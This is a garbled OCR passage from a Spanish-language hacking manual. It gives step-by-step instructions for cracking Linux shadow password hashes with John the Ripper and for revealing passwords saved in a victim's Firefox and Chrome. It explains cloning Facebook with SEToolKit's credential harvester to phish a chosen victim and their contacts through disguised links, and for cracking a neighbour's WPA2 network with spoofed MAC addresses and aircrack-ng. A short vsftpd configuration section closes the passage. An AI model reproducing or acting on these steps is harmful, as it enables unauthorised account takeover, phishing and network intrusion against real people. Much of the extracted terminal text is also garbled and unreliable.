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root@kali: /Jusrfshare/john-1.8.0/run

Archive Editar Ver Buscar Terminal Ayuda

Only one salt: 300359 c/s real, 305233 c/s virtual

Banchmarking: bsdicrypt, BSLD erypt(3) (0 J9.. " 725 iterations)
Many salts: 11944 c¢/s real, 2088 c/s virtual
Only one salt: 11833 c/s real, 12050 c/s virtual

Benchmarking: mdScrypt [MDS 32/32 X2]... DONE
Raw: o026 c/s real, B6ll2 c/s virtual

Benchmarking: bcrypt ("$2a%$05", 32 iterations) [Blowfish 32/32 X2

Raw : 433 c¢c/s real, 441 c/s virtual

Benchmarking: LM [DES
Haw : BI46K ¢ /= al,
Benchmarking: AFS, Kerberos AFS [DES 24/32 128K]... DONE
Short: 145365 c/s real, 1 58 c/s virtual
L-ong: 373555 c/s real, 378859 c/s virtual

Benchmarking: tripcode [DES 32/32] ... DONE
Raw: 302907 ¢c/s real, 305961 c/s virtual

virtual

Ahora vamos a usar el John The Ripper para buscar claves.

Primero copiaremos el archivo letc/shadow en el directorio /root desde otra
terminal de comandos. Es el archivo sobre el que vamos a trabajar para extraer las
contrasefias sin cometer delitos :)

Archivo Editar Ver Buscar Terminal Ayuda

/etc/shadow /root/

Ahora creamos usuarios con claves sencillas para ver su funcionamiento con el
comando adduser.
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Archivo Editar Ver Buscar Terminal Ayuda

.~% Cp /etc/shadow /root/
=adduser userl
Afadiendo el usuario "userl'
Afiadiendo el nuevo grupo userl' (1001)
al nuevo usuario wuserl' (100@) con grupo "userl
Creando el directorio personal
Coplando los ficheros desde /etc/skel'
Introduzca 1la nueva contrasena de UNIX:
Vuelva a escribir la nueva contrasena de UNIX:

passwd: fa actuallizada correctamente

Cambiando la informaclidn de usuario para userl
Introduzca el nuevo valor, o pulse INTRO para usar el valor predeterminado

Nombre completo []: userl
NOomero de habitacidn []:
Teléfono del trabajo []:
Teléfono de casa []:
Otro []:

¢Es correcta la informacion? [S/n)] s

=N

Copiamos el archivo de claves en el directorio de Jonh the ripper. El archivo
letc/shadow, es por defecto el archivo en el que Linux almacena las claves

encriptadas.
Archivo Editar Ver Buscar Terminal Ayuda

:/usr/share# cp /etc/shadow john-1.8.0/password.txt

Entramos de nuevo en el directorio donde se ha instalado.

Archivo Editar Ver Buscar Terminal Ayuda

:/usr/share# cd john-1.8.0
:/usr/share/john-1.8, 0# l

Ejecutamos el comando john —w=password.Ist password.txt, donde password.Ist
es el diccionario y password.txt el archivo de destino de las claves desencriptadas.

Archivo Editar Ver Buscar Terminal Avyuda
'usr /fshare# cd john-1.8.0
AT B IR N I | ohn ~w=password.lst password.txt
warning: detected hash type "shabllcrypt”, but the string is also recognized as "c

Use the "--format=crypt" force loading these as that ty

Loa 4 password hashes with 4 different salts (shaSlZcrypt [32/32])
ord.lst: No such file or directory

Y ahora desencriptamos las contrasefias. Cuanto mas sencillas sean mas rapido
ira, para ello ejecutamos john =format=crypt password.txt
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root@Kalr /usrysnarefjonn=.L.o&.wv

Archivo Editar Ver Buscar Terminal Ayuda
:/usr/share/john-1.8,.0# john --format=crypt password.txt
Loaded 4 password hashes with 4 different salts (generic crypt(3) [?7/32])
(userl)

( root)

(userz)

Ira sacando contrasenas poco a poco de todos los usuarios dependiendo de su
complejidad, asi que paciencia.

Al finalizar el proceso de hackeo de contrasefas puedes ver los resultados
ejecutando el comando:
john --show passwords.txt
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Hacking
de redes
soclales

Muchos sois los que no parais de escribirme para aprender a hackear Facebook.
Como no doy abasto con tantas peticiones individuales, voy a crear este pequefio
manual donde explicare como hackear Facebook o cualquier otra red social o web
donde se produzca autentificacion de usuario con contrasefia. Par este ejemplo
usare Facebook.
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En muchas ocasiones nos complicamos demasiado cuando tenemos las
contrasefias en nuestras narices. Es muy frecuente que la gente guarde sus
contrasenas en los navegadores y no sean conscientes de que son perfectamente
visibles. Internet Explorer necesita de aplicacion para ello, cosa rara para un
navegador tan malo. Sin embargo en los que se consideran mejores, es donde
encontramos que hay un grave error de seguridad. Vamos a explicar esta forma
sencilla y luego vamos a lo bueno, a hackear Facebook a gente que no este
fisicamente presente.

Primero vamos a ver el FireFox. Para ello vamos a Opciones.

T o
| Nueva pestaiia x &f
||z 3 @ & ® 45 - =
1 u p&ght
- 100% +

O = B

Nueva venta- Nuevaventa- Guardar pagi-

na na privada na
P
8 0 *
-
Imprirmin Histonal Pantalla com-
pleta
Buscar Opciones Complemen-

tos

Abrir opciones |

’

Desarrollador

{) Conectarse a Sync

Ed Personalizar & O

Ahora en la pestafia Seguridad, pulsamos el boton Contrasefias guardadas.
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Opciones
s 1 P = _I ? "N -
j = e b T , £, @ 5
d OO RN =5 Y e - &
General Pestanias Buscar Contemido  Aplicaciones Privacidad = Segundad Sync  Avanzado
/| Adyertir cuando algun sitio intente instalar complementos [E:cepuunﬁ. J
V| Bloguear sitios identificados como atacantes
|| Bloquear sitios identificados como falsificados
Contrasenas
Recordar contrasefias de los sitios I Excepciones... ‘
|| Usar una contrasefia maestra Cambiar contrasenia maestra... |
Contrasefias guardadas...
1 Aceptar ] Cancelar J I Ayuda

Nos saldra una ventana con todos nuestros usuarios y mails y las contrasefas con

asteriscos.

67/




P = ™
@ Contrasefas guardadas LEJE_M

Buscar pe

En su equipo hay contrasefias guardadas para los siguientes sitios:

»~ Nombre de... Usado pordlti.. Cambiado por dltima..,. B

. GEEEEEED. 3 deago. de20.. 30 deago. de2013 | -

. GO 26 de jun. de 20... 17 de jun. de 2014 =|
7 de abr. de 201... 7 de abr. de 2014 i
. . 14 de oct. de 20... 14 de oct. de 2014

.. R 3 deabr. de 201... 2 de abr. de 2014

« (D ° dejul. de 2013... 9 de jul. de 2013

« (P > deene de 201... 9 de oct. de 2014

- (P © de mar. de 201... 8 de mar. de 2014

- (P . 28 de jul. de 201... 28 de jul. de 2013

o R 22 deseot.de?.. 22desept.de2013 7|
: Eliminar ‘ [ Eliminar todos | iﬂnstrar contrasenas ]

i Cerrar ‘ |

e

Damos al boton Mostrar contrasefias y los asteriscos se cambiaran por la
contrasefia real, asi de facil.

Ahora vamos a ver que pasa con Google Chrome.

Pulsamos sobre el menu y damos a Configuracion.
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Dabaghiyan

Mueva pestania eI
Muewva ventana

Nueva ventana de incognito tri - Ma
Marcadores r

Pestafas recientes r

Editar Cortar Copiar Pegar

lardar |
Buscar...

Imprimur...
Acercar/alejar - 100% «+ -

Hestorial

Descargas tri+ )

Informacion de Google Chrome

Ayuda »
Mas herramientas ]
Saler tri+ pAawt

Bajamos hasta abajo del todo y pulsamos sobre el enlace Mostrar Opciones
Avanzadas.
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B hetpiveawgooglees/ e %V & Configuracion x

& > C M [ chromey/settings

Chrome Configuracion

o Mostrar el boton Pagina de moio

Extensiones www.google.com/ Cambaar

L. Mostrar siempre la barra de marcadores
Configuracion

Buscar

Informacsan

Especifica el motor de busqueda que se debe utilizar al realizar una busaueda desde el omnibox,

Google ¥ | Administrar motores de busqueda.

.| Habilitar "Ok Google” para iniciar una bisqueda porvoz  Mis informacién 4k

Di "Ok Googie™ en Uuna nueva peitania y &n goog|ess
Otros usuarios

l_'e Dabaghiyah (actual)

@ Petalos

o Habilitar navegacion como invitado

o Dejar gue cualquier pueda afadir a una persona a Chrome

Afadhr persona... Editer Elormans | importar marcadores y configuracion... |

MNavegador predeterminado

! Esubhm Google Chrome como navegador predeterminado

Google Chrome no es actualmente tu navegador predeterminado.

Meosirar opCiones avanzadas..

Ahora despliega mas opciones. Bajamos hasta Contrasefas y formularios
pulsamos el enlace Administrar contrasefias.
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— v _
B hispwawigsaoiee x ! fx Configuracidn x

C #® settings

IO Configuracion

Contrasaefas v formulanos

Contenido web

Y saldran todas las webs con mails, usuarios y contrasefas.

Lontrasenas

Contrasenas guardadas

EEEREe ..

R

LI R

EEEREEEEE

[ Ehmd s A v facebook.com EEERES
I:"':" facebook T EEERESEEE

FFEREE .

L5
!
i
]
1
i
|1_'
o |
I
i |
b |

[ https:/fwww.pavpal.com/es/webap.

Contrasefias que nunca se guardan

https://accounts.google.com/ServiceLogin



Ahora marcamos la que queramos y nos saldra la opcion de Mostrar, que nos
mostrara sin asteriscos la contrasefa de acceso.

Contrasenas

Contrasefnas guardadas

rakukeireikining.com/m/signn QI
ecita.es/regist I
hitps://es-la.facebosk.com/lsura ... QRN | -

nttps://www.facebook.com I
https://www.facebook.com G
hittps facebook.cc scan i
B https//www.paypal.com/es/webap. QD

Contrasenas que nunca se guardan

s e T — S PN | o Sty [—
https:/faccounts.google.com/serviceLogin
- -

Bueno. Entiendo que no todo el mundo tiene acceso fisico al equipo de la victima,
asi que ahora veremos como hacerlo en este caso.

Lo primero seria abrir el Kali Linux y entrar en el SeToolKit. Para ello vamos a
Aplicaciones, Kali Linux, Herramientas de Exploracion, Herramientas de Ingenieria
Social y setoolkit.
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i Kali Linux [Carmiendal - Craclte VM VirtualBox 1=

Aplicaciones Lugares T E

soatoolkil

i o = ) - (3 [ craL peReCHA

Segun arranca, se abre una consola de comandos. Damos dos veces a Yes 0 Y
hasta que aparezca el siguiente menu. Marcamos 1, que es ataque de Ingenieria
Social.

Terminal

The Social-Engineer Toolkit is a product of TrustedSec.

1 https://vwew,. trustedsec. com

[E] Terminal
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Nos sale un nuevo menu al que pulsamos la opcion 2, ya que lo que queremos es

atacar una web, si Facebook cansinos!

Terminal

Editar Ver Buscar Termmna Ayuda

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https: /v

- Ratury Dack O Né maln marnu.
] Terminat
En el nuevo menu le damos a la opcion 3 para obtener sus credenciales.

Terminal

Archivo Edsta VBT Buscar erminal Aviuda

The Metasploit Browser Expleit method will wuti

and deliver a Metasploit payload.

The Credential Harvester metho
d field and harvest all

Tha TabMabbing method will wait

differant.

Tha Web-lacking Attack method was introduced &
amaents to maka the highlighted U
is replaced with the maliciol

Thae Multi-Attack method will add a ation of attacks through the web attack
an utilize the Java Applat, Metasple owsar, Credentlal Harvaster/Tabnabbling al

ch 1t succecsfu

ava Applet Attack

Metasploit Browser Exp

} Credentlial Harvasten
Tabnabbing Attack

) Web Jacking Attt
Multl-Attack Web Matho

Full Screen Att

E Terminal
Ahora en otro menu mas le damos a la opcion 2 para clonar un sitio de internet.
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Terminal

= ']
I wabhslte o y

within the

;] ta clone.

websita, note tThat

the import waepslitea

Ponemos nuestra IP local, que podemos ver con un ifconfig si la victima esta en
nuestra red. Si es alguien de fuera, ponemos nuestra IP publica, que podemos ver
con la opcion Cual es mi IP? De la seccién Utiles.

Terminal

four thi

Tabrnabbing:192.168.20.2

Ahora indicamos la web a clonar, en este caso www.facebook.com.
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Terminal

SET to import a 1ist of
itilize within the attach

staly clone 2

the attack vec
re attempting t

Lmport your
when using the

Lona capabllities within >kl

well s place them into a report

] Terminal

Damos al intro y a esperar, saldra algo similar a la siguiente imagen, en mi caso al
tener el Apache encendido me avisa, pero no pasa nada, doy a y de yes y listo.

Terminal

] Termnal

Si abrimos el navegador y ponemos localhost, saldra la web clonada, en este caso
Facebook. Localhost significa nuestro propio equipo, por lo que vemos que esta
funcionando.
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K3 iniciar sesién en Fac: x

] e localhost =

Entrar en Facebook

Cadi e
elefy Giwion o
T | B!

Conm asaria

Vo ceflar Besacn

m o Regrs @ ate an Facebook

Has ofaaladn b COMraseria

Expaficl (Espafh) Cemmd Ecginh (US) Sences (Francs) Pomdeld telane Galage Degech Portugists (Beaad

=) -

Si usais Kali y tocais Apache server os dara conflictos. El SeToolKit dispone de un
servidor web, por lo que para evitar problemas apagamos el Apache. Editamos este
archivo le ponemos OFF al Apache Server para que no arranque por defecto. Si no
tienes Apache arrancado omite este paso.

Esta en /urs/share/set/config. El archivo es el set_config.

Archiva Editar WVer Ir Marcadores Ayuda
g, e

Equipo ¥ usr share set |- | * W QL Buscar
L “:lt_:nnﬂg = | 1] . ]
o Archivo Editar Buscar Qpciones Ayuda ‘
L g - =y s o
### SendMall ON or OFF for spoofing email addresses ' set_config.py
B cENDMATL=0FF
Reﬂl# a'
### Email provider list supports GMail, Hotmail, and Yahod T
ﬁEM#[L“F‘R{W [DER=GMAIL update . config. pyc
F

j### Set to ON LIf you want to use Emall in conjunction wltrEﬂ
IWEBATTACK_EMAIL=0FF

L

(###¥ Web attack time delay between emails default is 1 secg
ITIME_DELAY_EMAIL=1

¥

]### Use Apache instead of the standard Python web server.

l### of the attack vector,
APACHE SERVER=NFE

1

#
|
ii® Path 1o the Apache web root

LAPACHE DIRECTORY=/var /www [+

i il

Entramos de nuevo y accedemos a Localhost. Ponemos mail y contrasena.
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K7 Iniciar sesibn en Fac

L e localhost .| ==

facebook s

Entrar en Facebook

Coaeren f ks puld el cam

elecnonico o
e bor;

Cone asefia e

fim cerral e

(] FIE-!,p' W ale = Face bioak

¢, Mms ohaglado ) cormr asens

Ezpadicl (Euparia)l sy Gty (LS Frangem (France) Pombnd telere Osego Oeutson Poruguss (Brass

—_1l|

Le damos a Entrar y vemos que lo manda a la web original, por lo que creera que
ha escrito mal su contrasefia y volvera a ponerla y entrar sin problemas al Facebook
de verdad.

K7 Iniciar sesibn en Fac: x

s c 5 https //www.facebook.com/login |

facebook s

Entrar en Facebook

Carnreo
clecmonico o
tele lono:
Contraseitas
o carrar sasion
m o Registrate en Facebook
{Has olvidada 1w oorerasefia?
Espanol (Esparia) Cataia English (IUS) Francal (France) Fomdnd Esano Galego Deutsch Portuguén (Brasil) . .

Vemos en el programa que nos muestra el mail y la contrasefia que hemos
introducido.
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Terminal
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Ahora arrancamos Apache y una maquina virtual en la red, por ejemplo con

Windows XP, que en este caso seria la victima.
Abrimos el navegador y ponemos la IP local del Kali, vemos que nos muestra la

web del Facebook.
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4 Windows XP [Corriendo] - Oracle VM VirtualBox - 0

B3 iBiervenido a Facebookent: x § 1
¢ - C [}192168.20.21

Ciorred o telsfono Contrasena

el

[:'as que forman parte Es gratis y lo sera siempre.

: i Nombre Apellidos

- 3
f 25 =L - W O | .
PN 0 Correo electronico o numero de movll

Vuelve a introducir el correo electronico o &l n

Contrasena nueva

Fecha de nacimiento

= e N e e et Rl

i i L3

Si queremos hackear un facebook fuera de la red, debemos usar nuestra IP
publica, no la privada, eso tenedlo muy claro y saved que cada cierto tiempo varia,
por lo que tendremos tiempo limitado, salvo que dispongamos de una IP publica
estatica, aunque si es cierto que nos puede tardar uno o dos meses enn cambiar,
dependera totalmente de la configuracion de nuestro proveedor de internet o ISP.

Como vemos, el SeToolKit se queda a la espera, en cuanto en la maquina virtual
del XP ponemos mail y contraseria, nos salen sin problemas.

Es importante saber que la web clonada se llama index.html y se encuentra en la
Kali en el directorio /var/www/. Si queremos crear otra, la borramos y clonamos una
nueva. Ademas nos apareceran unos archivos donde se almacenan los usuarios y
contrasefas obtenidos.
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mié 21 de ane, 09:38

Terminal

Una vez introducidos los datos por la victima, parecera que ha ocurrido un error al
logarse y se ira a la verdadera web de Facebook.

Windows XP [Cornendo] - Oracle VM VirtualBox -

=
V K7 iBienvenido 5 Facebook en |
- At

C A https: //es-es facebook .com

dQuieres guardar esta contrasenar -

facebook -
e | o | -

Facebook te ayuda a comunicarte y A oY aula

compartir con las personas que forman parte Es gratis y lo serz
de tu vida.

Fecha de nacimie




Légicamente si mandamos una direccion IP a la victima sospechara, por lo que
debemos hacer que acceda a un enlace real como www.facebook.com en el que el
enlace o hipervinculo real vaya a nuestra IP, para esto tenemos que usar un poco la
cabeza, cada uno debe saber que relacion y confianza tiene con la victima para
saber como actuar. Si por ejemplo publicas un noticién en tu muro y pones alli el
falso enlace que le pida autentificarse por Facebook, no so6lo caera la victima
deseada, es posible que muchos de tus contactos se conecten y no pares de
obtener contrasenas.
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Hacking
de Wi-Fi

Muchos tenéis la suerte de vivir en ciudades rodeados de conexiones wifi por todos
lados. Yo en este momento vivo en pleno campo, donde no me llegan ni conexiones
de linea teleféonica, por lo que es para mi en este momento dificil redactar
correctamente este manual, pero he realizado esta tecnica en muchas ocasiones y
os aseguro que funciona perfectamente si seguis los pasos que os indico.

Existen varios tipos de conexiones wifi dependiendo de su autentificacion. Esto es
segun el protocolo que usen para gestionar la seguridad del router.

Los wifi que os podeéis encontrar son:
- Redes abiertas. Yo no las usaria, son bastante peligrosas y os pueden pillar toda
la informacion que useis cuando os conectais de forma muy sencilla.
- Redes WEP. Este protocolo es muy sencillo de vulnerar.
- Redes WPA. Dependiendo de la contrasefia que usen, necesitaremos 0 no un

diccionario.
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- Redes WPA2. Se suponen indescifrables, pero no lo son.

Bueno, ahora mi consejo. Siempre que tengais la suerte de tener una conexion
WEP aprovecharlo, son muy sencillas de hackear. En muchas ocasiones no
podremos acceder a ellas. Para evitar esto yo suelo usar una tarjeta que usan
muchos hackers, la Alfa Network. Esto es una marca de tarjetas que tienen un
alcance en abierto de 4 Km o mas, dependiendo del modelo que obtengamos.

Para atacar una red wifi tenemos que conocer primero las interfaces de red que
tenemos.

Lo primero que hacemos es ejecutar el comando Ifconfig, que nos muestra
nuestras interfaces de red. Yo tengo una tarjeta, que equivale al interface ethO. La
interface lo es una interface de loopback, en realidad es virtual, se usan mucho en
los routers Cisco. De momento a esa interface la dejamos de lado.

Archivo Editar Ver Buscar Terminal Ayuda

Waddr o LS 38,
TICAST MTU:1560 Metric:l
o irrors:89 dropped:0 overruns:
TX packets:0 errors:0 dropped:0 overruns:0 «
collisions:0 txqueuelen:l1GoC
RX bytes:0 (6.0 B) TX bytes:0 (6.0 B)

= pat Kats [k

nes encap .ol Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inett addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1l

RX packets:l/ errarsi@idroppegi@ioverruns:0 frame:0

TX packets:12 errofsS:i@ droppedi ove rrunsa@ecarpier:g
collisions:@ txqueuelen:O

RA bytes: /720 (720.0 B) " TX bytes:i/20 (720.008)

.#l

En mi caso al estar Kali en una maquina virtual, solo tengo una tarjeta configurada,
ni siquiera tengo la Ethernet configurada. Se que mi ethO es la tarjeta wifi, pero en
caso de tener muchas podriamos usar el comando iwconfig y nos dira cual es
nuestro interface de red wifi, suele ser el wlan0, salvo que tengamos varias tarjetas
wifi configuradas en VirtualBox. Si no te aparece el wlan0, mira este manual:
Problemas con el wifi y esta otra de como configurar Kali Linux en VirtualBox

| Archivo Editar Ver Buscar Terminal Ayuda

wlan® [EEE 802.11bg ESSID:off/any
Mode :Managed Access Point: Not-Associated Tx-Power=0 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on

Ahora levantamos el interface de wifi con el commando ifconfig wlan0 up. Si tu
usas el wlan1 tendras que poner el que te corresponde.
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el fconfig wlan0@ up

Las tarjetas de red tienen un flag o registro, que segun estén en cero o uno (en
binario), pondran la tarjeta en modo normal o en modo promiscuo. Al modo
promiscuo también se le llama modo monitor.

Cuando tenemos el modo promiscuo activado, nuestra tarjeta recibe toda la
informacion del trafico de red. Para que os hagais una idea simple, cuando un
ordenador hace una peticion a internet, su router la envia, pero al volver esa
informacion manda un paquete al broadcast (toda la red), preguntando si esa
peticion es para esa tarjeta de red.

Poniendo el ejemplo de una red de 5 ordenadores, donde yo soy el tercero,
imaginemos que mando una solicitud de busqueda en Google por ejemplo. Cuando
el router manda la solicitud, el servidor de Google lo devuelve al router. El router
manda una peticiéon a todos los equipos de la red interna, preguntando de uno en
uno si esa peticion es suya. Todos los equipos reciben esa peticion, pero sélo mi
equipo, el 3, dice que es el que ha realizado esa peticion, recibiendo la informacion.

Pues bien, tras este cofiazo de explicacion, si un hacker se mete en el equipo 5y
tiene su tarjeta de red en modo promiscuo, dira siempre al router que es el duefio de
esa y toda la informacion, llegandole a los equipos 3 y 5. Esto es fundamental de
cara a entender como funcionan los sniffers de red, que se basan en esto tan
sencillo que acabo de explicar.

Al grano, ahora necesitamos poner nuestra tarjeta wifi en modo promiscuo, para
ello ejecutamos el comando airmon-ng start wlan0
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] Start

cesses that trouble.

[f airpdump=-ng, aireplay-ng or airtun-ng stops working after
ja short period of time, you may want to Kill (some of), them!

e et Bl

PID Name
2364 NetworkManager
| dhclient

Interface Chipset Driver

w1l ani Realtek RIL8187L rtlB8l87 - [phy@]
(monitor mode enabled on monB)

Como se ve en la linea que he dejado marcada, el modo monitor o promiscuo esta
habilitado. La interface virtual que ha creado es la mon0. Si hacemos esto varias
veces, veremos que el interface virtual va aumentando en numero.

Ahora ejecutamos Ilwconfig y vemos que aparece el interface virtual con modo
promiscuo dentro de nuestras interfaces.

|.|fl.rchu..'::| Editar Ver Buscar Terminal Ayuda

ry short Limit:

Enc ryption key:off
Powar Management:off

no wirel
IEEE 8682.11bg Mode:Monitor Tx-Power=20 dBm

Retry short limit:7 RTS thr:off Fragment thr:off
Power Managament :on

Ahora vamos a cambiar la direccibn MAC de nuestra tarjeta de red. En los router
existe la posibilidad de autentificar por direccion MAC. Simplemente es poner un
listado de tarjetas MAC permitidas para conectarse con el router. Si este es el caso,
podemos ponernos la MAC de uno de los equipos de la red, que veremos como se
ve en un momento.

Lo primero que tenemos que hacer es desconectar el interface virtual creado con el
commando ifconfig mon0 down. Luego ya podemos asignarle una nueva
direccion MAC con el comando macchanger -m 00:11:22:33:44:55 mon0. Las
direcciones MAC estan compuestas por 6 cifras de dos numeros y letras de dos
caracteres, los numero van de 0 a 9 y las letras de la A a la F, lo que hace un total

86



de 16 posibilidades que irian del 0 al 15, ambos incluidos en coédigo hexadecimal.
Un ejemplo de tarjeta MAC puede ser 00:6f:ac:71:0b:90.

Ya cambiada la MAC, volvemos a levantar el interface virtual con ifconfig mon0
up.

Archivo Editar Ver Buscar Terminal Ayuda

ifconfig mon@ down
:8# macchanger -m 00:11:22:33:44:55 mon®
ermanent MAC: 00:c0:ca:76:58:68 (Alfa, Inc.)
urrent MAC: 0G0:c0:ca:76:58:68 (Alfa, Inc.)
MAC: 00:11:22:33:44:55 (Cimsys Inc)
: ifconfig mon® up

Ya con todo preparado, vamos a buscar redes wifi. Ejecutamos el comando
airodump-ng mon0.
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PSK Soto

BESSID STATION : late oS | mes Frobe

1:8C42:0C20:18B C:9F:DB 641 6F - &F - 70 i : - ‘DALVER-S0TOZ2
sssociated) :6E:06:43: -

En esta pantalla nos muestran los siguientes datos. En la parte de arriba la MAC
del router, PWR que es la potencia en dB (decibelios) de la serial, Beacons o
paquetes de transmisién que iran aumentando, Data que son los VI que captamos.
Estos son importantisimos. Los paquetes VI son paquetes con autentificacion, es
decir, que contienen la contrasefa encriptada del protocolo wifi usado. Cuantos mas
obtengamos mejor. En mi caso el vecino no esta navegando, por lo que es
imposible sacar su clave, si llego a pillarle descargando algo, veria como aumentan
rapidamente. Siguiendo la linea nos encontramos el parametro /s, que sinceramente
no tengo ni idea de que narices es, el CH que es el canal por el que transmite el
router, MB que es la velocidad de transmision, ENC el protocolo de encriptacion,
CIPHER el cifrado usado, AUTH el tipo de autentificacion de usuarios, y ESSID el
nombre de la conexion wifi.

En la parte de abajo tenemos las MAC de los routers que va encontrando, la MAC
de algunos equipos conectados al router, y otros datos que no son de interes real.

Cuando ya tengamos clara la victima, pulsamos la tecla control y la tecla ¢ al
mismo tiempo para detener el airodump. Tendremos todos los datos parados, que
dejaremos abierto constantemente para consultarlo.
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ENC CIPHER AUTH ESSID

=

o]
,—+
]

88:0C:42:0C:20:18 o | @ ] g -1 | <length: 6>
B8:E9:37:80:DC:81 -] 8 2 G 1 1 WHA <length: 0>
00:BE:58:75:7D:C5 -1 a8 2 8 1 -1 WH A <langth: 0>
20:F3:A3:77:86:09 69 21 0 B 18 54 . WPAZ TKIP PSK Soto
BSSID STATION PR Rate Lost Frames Probe
69:6C:42:0C:260:1B DC:9F:DB:5d4:66:66 -72 G - 1 8 16 COALVER-SDTOZ2

| (not assoclated) G0:6E:06:43:53:81 &l o 4

Ahora vamos a otra pantalla de terminal de comandos. Ejecutamos airodump-ng
mon0 -w Soto -c¢ 10 y saldra la siguiente pantalla. Donde yo pongo Soto, tenéis que
poner el nombre de la red de vuestra victima, y donde pongo 10, el CH o canal por
el que transmite, datos que tenemos en la otra ventana, por eso lo de no cerrarla.

Es en este momento cuando necesitamos los VI o Data. Dependiendo del tipo de
protocolo de seguridad, necesitaremos mas o0 menos paquetes sobre los que
descifrar la contrasena.

Yo recomiendo 400.000 para WEP, 800.000 para WPA y 1.200.000 para WPAZ2,
pero no suelen ser necesarios tantos paquetes.

Archive Editar Ver Buscar Terminal Ayuda

(-3:A3:77:-B6:D9 -BA B9
BSSID STATION

- -
4 +HT
=

rnat associated) BE:BE:Bb 41 "
>t associated) DC:F1:10:37:
assoc lated) GC:B83:19:4]1:C0C;

Yo solo dispongo de una red cercana en este momento por satélite que tiene
WPA2 como podeis ver.

No dispongo de tanto tiempo y mi vecino apenas se conecta, asi que a partir de
aqui os dejo un poco abandonados respecto a pantallazos, pero seguid los pasos y
lo lograréis.

Abrid una terminal mas de comandos Linux. Ejecutad el comando aircrack-ng
Soto*.cap

Recordar que Soto es el nombre de la red que yo pillo, la vuestra sera otra. Con
este comando lo que logramos es lanzar el ataque de fuerza bruta para desencriptar
la contrasefia en base a los paquetes VI que tenemos captados.

Si tu victima es WEP, incluso WPA, basta con esperar a tener los paquetes
necesarios para lograr la clave, puedes usar este comando varias veces hasta
tenerlo, al poner Soto*.cap, lo que estamos haciendo es generar varios archivos con
extension .cap y poder atacar sobre todos ellos, no sélo sobre uno.
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sl rcrack-ng Soto*.cap

# BSSID ESSID Enc ryptlon
20:F3:A3:77:B6:D9 Soto WPA (C handshake)

ASLINg 0 1rst Nnetwork targat

aning Soto-01.cap
szc specify a dictionary [(opticn

JULTLING ALICrack-rg.. .

=

Como veis en mi caso, al no tener paquetes capturados y ser WPAZ2, me dice que
use un diccionario. Pues bien, existen miles de diccionarios de claves en internet,
dado el caso deberiais ejecutar el comando aircrack-ng -w diccionario.lst
Soto*.cap

El diccionario tendra el nombre que sea, recordar guardario en el mismo directorio
/home en el que estéis. La extension pueden ser varias, Ist, txt, etc.

Una vez lograda la clave, saldra en hexadecimal separada por dos puntos cada
dos digitos, muy similar a una direccion MAC. Lo que tenéis que hacer es
simplemente copiar esa clave, quitarle los puntos y acceder. Es mas sencillo de lo
que parece, en cuanto pueda iré a algun lado con conexiones y hackeare los
diferentes protocolos para poder ofreceros los pantallazos.
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SFTP
SSL

SFTP/SCP es el protocolo FTP con conexion segura mediante SSH. Esto es de
gran utilidad en los servidores web, donde es necesaria la trasferencia de archivos
mediante FTP. Con este protocolo nos aseguramos de que al menos dispongamos
de una mayor seguridad.

Primero lo instalamos con el comando apt-get install vsftpd.
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rcot@servidord: /home# et instal
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias
Leyendo la informacion de estado... Hecho
Los sigulentes paquetes se ELIMINARAN:
proftpd-basic proftpd-mod-vroot
Se instalaran los sigulentes paquetes NUEVOS:
vsftpd
0 actualizados, 1 se instalaran, 2 para eliminar y 126 no actualizados.
Necesito descargar 165 kB de archivos.
Se liberaran 3.757 kB después de esta operaciodn.
cDesea continuar [S/n]7?
Des:l http://fTtp.es.debian.org/debian/ wheezy/main vsftpd 1386 2.3.5-3 [165 KkE]
Descargados 165 KB en 5seq. (30,4 kB/s)
Preconfigurando pagquetes
(Leyendo 1la base de datos ... 168414 ficheros o directorios instalados actualmente.)
Desinstalando proftpd-mod-vroot
fesinstalando proftpd-basic ...
[ ok ] Stopping ftp server: proftpd.
Procesando disparadores para man-db

VVamos a editar dos archivos, el primero es el vsftpd.conf, para ello usamos nano
letc/vsftpd.conf.

al

= | A A

B Example config file /etc/vsftpd.conf

&

# The default compiled in settings are fairly paranoid. This sample file

# loosens things up a bit, to make the ftp daemon more usable.

# Please see vsftpd.conf.5 for all compiled in defaults.

i

# READ THIS: This example file is NOT an exhaustive list of vsftpd options.
# Please read the vsftpd.conf.5 manual page to get a full idea of vsftpd's
# capabilities.

=

#

# Run standalone? wvsfTtpd can run either from an inetd or as a standalone
£ daemon started from an initscript.

listen=YES

#

# Run standalone with IPv6?

# Like the listen parameter, except vsftpd will listen on an IPvbE socket

# instead of an IPv4 one. This parameter and the listen parameter are mutually
# exclusive.

#listen_ipvB=YES

#

l 147 naeas 210da5
Quitamos usuarios anonimos como se muestra en la siguiente imagen.
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# Uncomment this to allow local users to log in.
| #local _enable=YES
#
| # Uncomment this to enable any form of FTP write command.
#write enable=YES
I #
# Default umask for local users is 877. You may wish to change this to 622,
# 1Tt your users expect that (022 is used by most other Ttpd's)
| #local_umask=022
-
# Uncomment this to allow the anonymous FTP user to upload files. This only
# has an effect if the above global write enable is activated. Also, you will
 # obviously need to create a directory writable by the FTP user.
' #anon_upload enable=YES
C#
# Uncomment this if you want the anonymous FTP user to be able to create
# new directories,
Fanon_mkdir write enable=YES
#

Descomentamos la siguiente linea para poder conectar con usuarios locales, para
ello le quitamos la almuadilla.

Fiche

anonymous_enable=NO

#

# Uncomment this to allow local users to log in.

1

#

# Uncomment this to enable any form of FTP write command.

#write enable=YES

&

# Default umask for local users is 077. You may wish to change this to 022,
# if your users expect that (022 is used by most other ftpd's)

#local umask=022

b3

# Uncomment this to allow the anonymous FTP user to upload files. This only
# has an effect if the above global write enable is activated, Also, you will
# obviously need to create a directory writable by the FTP user,
#anon_upload enable=YES

#

# Uncomment this if you want the anonymous FTP user to be able to create

# new directories.

#anon_mkdir_write_enable=YES

#

m Hmre s s m Riisrda e H l Aamrer Ed sl _ D&~ Amé ﬂl FartaerTed ‘ DAas =e~diaml

Descomentamos la siguiente tambien para poder escribir datos mediante SFTP.
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anonymous_enable=NO
=

# Uncomment this to allow local users to log in.
local enable=YES
#

# Uncomment this to enable any form of FTP write command.

#

# Default umask for local users is 077. You may wish to change this to 822,
# if your users expect that (022 is used by most other ftpd's)

#local umask=022

2

# Uncomment this to allow the anonymous FTP user to upload files. This only
